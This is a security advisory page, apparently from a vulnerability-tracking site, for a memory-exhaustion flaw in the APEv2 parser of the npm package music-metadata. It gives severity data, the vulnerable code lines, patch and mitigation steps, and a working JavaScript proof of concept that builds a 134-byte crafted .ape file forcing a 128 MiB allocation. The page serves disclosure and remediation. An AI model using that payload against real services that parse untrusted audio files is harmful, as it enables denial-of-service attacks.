Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
📦
📦 npm
Not in CISA KEV
MEDIUM severity

music-metadata: Uncontrolled memory allocation in APEv2 parserGHSA-53v6-4h7p-p4gj

MEDIUMFix: Borewit/music-metadata#2744

GHSA-53v6-4h7p-p4gj is a medium-severity (CVSS 6.2) CWE-789 vulnerability in music-metadata. A fix is available for music-metadata — see the affected versions and patch details below.

Also known asCVE-2026-107387
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 23, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for GHSA-53v6-4h7p-p4gj.

EPSS Exploitation Probability

via FIRST.org ↗
0.2%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs8th percentile — riskier than 8% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

GHSA-53v6-4h7p-p4gj by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 394,803 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

2Kother npm packages depend on this — each one inherits the vulnerability until it's patched upstream
music-metadatanpm
1.2Mdownloads / week

Description

Summary

music-metadata 11.15.0 is vulnerable to uncontrolled memory allocation in the APEv2 parser.

The parser reads the size of an APEv2 tag item from the input file and uses that value to allocate memory before checking whether the file actually contains that many bytes. A small crafted .ape file can declare a very large binary tag item, such as cover art, and force the parser to allocate a large buffer.

This issue is specific to APEv2 parsing and is separate from the ID3v2, MP4, and EBML advisories.

Affected component

  • lib/apev2/APEv2Token.ts
  • lib/apev2/APEv2Parser.ts

The untrusted size is read here:

size: Token.UINT32_LE.get(buf, off)

It is later used directly for allocation when parsing binary tag items:

const picData = new Uint8Array(tagItemHeader.size);
await this.tokenizer.readBuffer(picData);

The allocation happens before the parser confirms that the declared size fits inside the remaining file data.

Impact

An application that parses untrusted .ape files with music-metadata may be vulnerable to denial of service through memory exhaustion.

The demonstrated payload is only 134 bytes but causes a 128 MiB allocation with default options. Concurrent or repeated parses can multiply the memory impact.

The impact is limited to availability. No confidentiality or integrity impact has been demonstrated.

Proof of Concept

Run from the project checkout after compiling the source:

npm install --ignore-scripts
npm run compile-src:dev
node --expose-gc poc-apev2-memory.mjs

poc-apev2-memory.mjs:

import { parseBuffer } from './lib/core.js';

const le16 = n => Uint8Array.from([n & 255, n >>> 8]);
const le32 = n => Uint8Array.from([n & 255, n >>> 8 & 255, n >>> 16 & 255, n >>> 24]);
const cat = (...parts) => {
  const out = new Uint8Array(parts.reduce((n, p) => n + p.length, 0));
  let off = 0;
  for (const p of parts) out.set(p, off), off += p.length;
  return out;
};

const big = 0x08000000; // 128 MiB

const desc = cat(
  Buffer.from('MAC '), le32(4000), le32(52), le32(24),
  le32(0), le32(0), le32(0), le32(0), le32(0), new Uint8Array(16)
);

const hdr = cat(
  le16(0), le16(0), le32(1), le32(1), le32(1),
  le16(16), le16(1), le32(44100)
);

const key = Buffer.from('Cover Art (Front)\0', 'ascii');
const item = cat(le32(big), le32(2));

const tag = cat(
  Buffer.from('APETAGEX'),
  le32(2000),
  le32(32 + item.length + key.length + big),
  le32(1),
  le32(0),
  new Uint8Array(8)
);

const payload = cat(desc, hdr, tag, item, key);

if (global.gc) global.gc();
const before = process.memoryUsage();

try {
  await parseBuffer(payload, { mimeType: 'audio/ape' });
} catch (error) {
  console.log(error.constructor.name + ': ' + error.message);
}

const after = process.memoryUsage();
console.log('input bytes:', payload.byteLength);
console.log('arrayBuffers delta MB:', ((after.arrayBuffers - before.arrayBuffers) / 1024 / 1024).toFixed(2));

Observed result

On music-metadata 11.15.0:

EndOfStreamError: End-Of-Stream
input bytes: 134
arrayBuffers delta MB: 128.00

The parser throws after reaching end-of-stream, but the large allocation has already happened.

Expected result

The parser should reject the malformed APEv2 tag before allocating memory for the declared item size.

Suggested fix

Validate tagItemHeader.size before allocation. The parser should reject tag item sizes that exceed the remaining tag/file data or a reasonable maximum size. Binary items should not allocate tagItemHeader.size until the size has been checked.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npmmusic-metadataall versions11.16.0npm install music-metadata@11.16.0

Affected Products

1 product · 1 configurations
Application
music-metadataborewit
< 11.16.0
range

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for music-metadata, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update music-metadata to 11.16.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-53v6-4h7p-p4gj is resolved across your whole dependency graph.

  3. Workarounds

    Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.

Frequently Asked Questions

## Summary `music-metadata` 11.15.0 is vulnerable to uncontrolled memory allocation in the APEv2 parser. The parser reads the size of an APEv2 tag item from the input file and uses that value to allocate memory before checking whether the file actually contains that many bytes. A small crafted `.ape` file can declare a very large binary tag item, such as cover art, and force the parser to allocate a large buffer. This issue is specific to APEv2 parsing and is separate from the ID3v2, MP4, and EBML advisories. ## Affected component - `lib/apev2/APEv2Token.ts` - `lib/apev2/APEv2Parser.ts`
O3 Security · Impact-Aware SCA

Is GHSA-53v6-4h7p-p4gj in your dependencies?

Find it across npm, including transitive dependencies.

music-metadata: Uncontrolled memory allocation in…